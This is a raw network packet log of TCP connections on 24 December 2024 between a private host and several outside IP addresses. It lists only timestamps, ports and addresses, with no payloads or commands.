Dec 24, 2024 19:27:00.783330917 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:00.927179098 CET	49674	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:27:00.927190065 CET	49673	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:27:01.208421946 CET	49672	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:27:01.299587011 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:01.299710035 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:01.299760103 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:01.299990892 CET	49715	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:01.300004959 CET	443	49715	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:03.672630072 CET	443	49705	173.222.162.64	192.168.2.6
Dec 24, 2024 19:27:03.672749996 CET	49705	443	192.168.2.6	173.222.162.64
Dec 24, 2024 19:27:10.058839083 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:10.058909893 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:10.058986902 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:10.059540987 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:10.059559107 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.365900040 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.365983963 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.367821932 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.367835045 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.368058920 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.370295048 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.370374918 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.370379925 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.370533943 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.411326885 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.916533947 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.917236090 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.917260885 CET	443	49731	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:12.917289972 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:12.917315960 CET	49731	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:31.585385084 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:31.585431099 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:31.585520029 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:31.586039066 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:31.586057901 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:33.812613964 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:33.812700987 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:33.814539909 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:33.814551115 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:33.814764023 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:33.816370010 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:33.816426992 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:33.816431999 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:33.816567898 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:33.863329887 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:34.484359026 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:34.484452009 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:34.484661102 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:34.484816074 CET	49780	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:34.484834909 CET	443	49780	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:37.590883017 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:37.590928078 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:37.591010094 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:37.603272915 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:37.603285074 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:38.848789930 CET	80	49700	44.206.23.126	192.168.2.6
Dec 24, 2024 19:27:38.848901987 CET	49700	80	192.168.2.6	44.206.23.126
Dec 24, 2024 19:27:38.849977970 CET	49700	80	192.168.2.6	44.206.23.126
Dec 24, 2024 19:27:38.969917059 CET	80	49700	44.206.23.126	192.168.2.6
Dec 24, 2024 19:27:38.977988005 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:38.978061914 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.026784897 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.026817083 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.027149916 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.027211905 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.030814886 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.071343899 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.535603046 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.535636902 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.535675049 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.535695076 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.535721064 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.535757065 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.540616035 CET	49792	443	192.168.2.6	149.154.167.99
Dec 24, 2024 19:27:39.540637016 CET	443	49792	149.154.167.99	192.168.2.6
Dec 24, 2024 19:27:39.875399113 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:39.875453949 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:39.875531912 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:39.875837088 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:39.875852108 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:41.695168972 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:41.695267916 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:41.699299097 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:41.699311018 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:41.699570894 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:41.699632883 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:41.700086117 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:41.747325897 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:42.387168884 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:42.387346983 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:42.387435913 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:42.390614986 CET	49800	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:42.390635967 CET	443	49800	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:42.392646074 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:42.392673969 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:42.392739058 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:42.392920971 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:42.392931938 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:43.799854994 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:43.800062895 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:43.800453901 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:43.800467968 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:43.802160978 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:43.802166939 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:44.693734884 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:44.693820000 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:44.693864107 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:44.693898916 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:44.696842909 CET	49806	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:44.696871042 CET	443	49806	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:44.698333025 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:44.698374987 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:44.698443890 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:44.698643923 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:44.698659897 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:46.121643066 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:46.121711969 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:46.122092962 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:46.122098923 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:46.123785019 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:46.123790026 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:46.583738089 CET	49701	80	192.168.2.6	52.222.144.19
Dec 24, 2024 19:27:46.583792925 CET	49702	80	192.168.2.6	54.230.112.123
Dec 24, 2024 19:27:46.583851099 CET	49707	80	192.168.2.6	199.232.214.172
Dec 24, 2024 19:27:46.705157995 CET	80	49701	52.222.144.19	192.168.2.6
Dec 24, 2024 19:27:46.705208063 CET	80	49702	54.230.112.123	192.168.2.6
Dec 24, 2024 19:27:46.705267906 CET	49702	80	192.168.2.6	54.230.112.123
Dec 24, 2024 19:27:46.705277920 CET	49701	80	192.168.2.6	52.222.144.19
Dec 24, 2024 19:27:46.705296993 CET	80	49707	199.232.214.172	192.168.2.6
Dec 24, 2024 19:27:46.705401897 CET	49707	80	192.168.2.6	199.232.214.172
Dec 24, 2024 19:27:47.008514881 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:47.008538961 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:47.008610010 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:47.008642912 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:47.008697033 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:47.009001970 CET	49812	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:47.009020090 CET	443	49812	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:47.010493040 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:47.010543108 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:47.010618925 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:47.010827065 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:47.010843039 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:48.443416119 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:48.443600893 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:48.444060087 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:48.444072962 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:48.445735931 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:48.445746899 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:48.911957979 CET	49714	80	192.168.2.6	52.222.144.28
Dec 24, 2024 19:27:48.911993027 CET	49711	80	192.168.2.6	199.232.214.172
Dec 24, 2024 19:27:49.032809973 CET	80	49714	52.222.144.28	192.168.2.6
Dec 24, 2024 19:27:49.032844067 CET	80	49711	199.232.214.172	192.168.2.6
Dec 24, 2024 19:27:49.032854080 CET	49714	80	192.168.2.6	52.222.144.28
Dec 24, 2024 19:27:49.032895088 CET	49711	80	192.168.2.6	199.232.214.172
Dec 24, 2024 19:27:49.376780033 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:49.376813889 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:49.376902103 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:49.376966000 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:49.377017021 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:49.377381086 CET	49818	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:49.377398968 CET	443	49818	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:49.379153967 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:49.379204035 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:49.379277945 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:49.379556894 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:49.379574060 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:50.797024965 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:50.797236919 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:50.797713041 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:50.797722101 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:50.799283981 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:50.799289942 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:51.679752111 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:51.679841042 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:51.679919958 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:51.680068970 CET	49824	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:51.680085897 CET	443	49824	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:51.704438925 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:51.704479933 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:51.704566002 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:51.704797983 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:51.704811096 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:53.029625893 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.029711962 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:53.029812098 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.031013012 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.031049967 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:53.114785910 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:53.114865065 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.115293026 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.115298986 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:53.117841959 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.117846966 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:53.117930889 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:53.117940903 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.113795042 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.113868952 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.113884926 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.113900900 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.113930941 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.114023924 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.114649057 CET	49834	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.114666939 CET	443	49834	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.472331047 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.474287033 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.475172043 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.475204945 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.477448940 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:54.477463007 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:54.592391968 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:54.592421055 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:54.592511892 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:54.593497038 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:54.593509912 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:55.519650936 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:55.519717932 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:55.519731998 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:55.519938946 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:55.885806084 CET	49835	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:27:55.885849953 CET	443	49835	188.245.216.205	192.168.2.6
Dec 24, 2024 19:27:56.561036110 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:56.561088085 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:56.561206102 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:56.561496973 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:56.561516047 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:56.834928036 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:56.835081100 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:56.837232113 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:56.837241888 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:56.838032961 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:56.845647097 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:56.845673084 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:56.845681906 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:56.846573114 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:56.887329102 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:56.965773106 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:56.965867043 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:56.965945959 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:56.966200113 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:56.966233015 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:57.027455091 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:57.027479887 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:57.027829885 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:57.028045893 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:57.028059959 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:57.120893955 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:57.120954037 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:57.121064901 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:57.121315956 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:57.121345043 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:57.416981936 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:57.417215109 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:57.417572975 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:57.417572975 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:57.417613029 CET	443	49841	20.198.119.84	192.168.2.6
Dec 24, 2024 19:27:57.417733908 CET	49841	443	192.168.2.6	20.198.119.84
Dec 24, 2024 19:27:58.281567097 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.300266027 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.300283909 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.303728104 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.303798914 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.484313011 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.484638929 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.506431103 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.506453991 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.557987928 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.732355118 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.732630968 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.732672930 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.736129045 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.736192942 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.736556053 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.736633062 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.736757994 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.736776114 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.748613119 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.748810053 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.748830080 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.752568007 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.752626896 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.752911091 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.753065109 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.753154039 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.784491062 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.806432009 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.806444883 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.847415924 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.935827971 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.938232899 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.938247919 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.939796925 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.939868927 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.940239906 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.940346956 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:58.988069057 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:58.988090992 CET	443	49855	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.034919024 CET	49855	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.163851023 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.163917065 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.163969994 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.163995981 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.169735909 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.169811010 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.169965029 CET	49852	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.169986963 CET	443	49852	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.597961903 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.602889061 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.602942944 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.603815079 CET	49854	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.603837967 CET	443	49854	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.623037100 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.623188972 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.623251915 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.623281956 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.623382092 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.623452902 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.623461962 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.631136894 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.631205082 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.631232977 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.644939899 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.645690918 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.645700932 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.671226978 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.671499014 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.671509981 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.722882032 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.742650032 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.785393953 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.785423994 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.819152117 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.819215059 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.819243908 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.828994989 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.829055071 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.829087019 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.841358900 CET	443	49853	142.250.181.68	192.168.2.6
Dec 24, 2024 19:27:59.841414928 CET	49853	443	192.168.2.6	142.250.181.68
Dec 24, 2024 19:27:59.841423988 CET	443	49853	142.250.181.68	192.168.2.6
